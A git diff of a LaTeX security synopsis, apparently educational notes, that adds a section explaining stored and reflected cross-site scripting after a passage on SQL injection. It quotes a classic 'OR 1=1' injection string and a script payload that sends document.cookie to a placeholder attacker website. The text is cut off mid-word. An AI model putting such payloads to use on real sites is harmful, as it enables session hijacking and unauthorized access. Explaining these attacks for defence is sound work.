diff options
| -rw-r--r-- | synopsis.tex | 43 |
1 files changed, 43 insertions, 0 deletions
diff --git a/synopsis.tex b/synopsis.tex index df4fd2a..6355f55 100644 --- a/synopsis.tex +++ b/synopsis.tex @@ -422,6 +422,49 @@ This way, if an attacker will send \texttt{login' OR '1'='1} to the application, it will not cause any harm, because the query would literally try to find a user with name \texttt{login' OR '1'='1}. +\subsection{Cross-Site Scripting (XSS)} + +\subsubsection{How it works} + +Cross-Site Scripting is closely related to injection as it works by injecting a +malicious code to the application. There are two categories of this attack: +stored and reflected. + +The first one occurs when injected code is stored permanently on the server. An +example could be a comment on a forum, which contains Javascript code. If the +vulnerability is present, it will not be displayed on the page, but it will be +executed. It could be simple like: + +\begin{minted}{js} +<script>document.createElement('img').src = 'http://attackerswebsite.com/' + +document.cookie</script> +\end{minted} + +T |